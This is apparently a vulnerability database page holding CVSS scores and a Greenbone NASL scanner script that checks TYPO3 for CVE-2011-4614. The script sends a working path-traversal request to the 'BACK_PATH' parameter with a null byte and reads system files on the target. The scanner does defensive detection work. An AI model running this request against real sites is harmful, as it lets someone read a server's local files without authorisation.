6.8 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
6.2 Medium
AI Score
Confidence
Low
0.134 Low
EPSS
Percentile
95.6%
TYPO3 is prone to local file inclusion (LFI) vulnerability.
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
CPE = "cpe:/a:typo3:typo3";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.902795");
script_version("2023-04-05T10:19:45+0000");
script_cve_id("CVE-2011-4614");
script_tag(name:"cvss_base", value:"6.8");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
script_tag(name:"last_modification", value:"2023-04-05 10:19:45 +0000 (Wed, 05 Apr 2023)");
script_tag(name:"creation_date", value:"2012-02-22 13:46:49 +0530 (Wed, 22 Feb 2012)");
script_name("TYPO3 'BACK_PATH' Parameter LFI Vulnerability (TYPO3-CORE-SA-2011-004)");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2012 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_typo3_http_detect.nasl", "os_detection.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("typo3/http/detected");
script_xref(name:"URL", value:"https://typo3.org/security/advisory/typo3-core-sa-2011-004");
script_xref(name:"URL", value:"http://secunia.com/advisories/47201");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/51090");
script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/72959");
script_tag(name:"summary", value:"TYPO3 is prone to local file inclusion (LFI) vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"insight", value:"The flaw is due to an input passed to the 'BACK_PATH' parameter
in 'typo3/sysext/workspaces/Classes/Controller/AbstractController.php' is not nroperly verified
before being used to include files.");
script_tag(name:"impact", value:"Successful exploitation could allow an attacker to obtain
arbitrary local files in the context of an affected site.");
script_tag(name:"affected", value:"TYPO3 version 4.5.x before 4.5.9, 4.6.x before 4.6.2 and
development versions of 4.7.");
script_tag(name:"solution", value:"Update to version 4.5.9, 4.6.2 or later.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_vul");
exit(0);
}
include("misc_func.inc");
include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_keepalive.inc");
if(!port = get_app_port(cpe:CPE, service:"www"))
exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))
exit(0);
if(dir == "/")
dir = "";
files = traversal_files();
foreach file (keys(files)) {
url = string(dir, "/sysext/workspaces/Classes/Controller/AbstractController.php?BACK_PATH=",
crap(data:"..%2f", length:5*10), files[file], "%00");
if(http_vuln_check(port:port, url:url, pattern:file)) {
report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);
}
}
exit(99);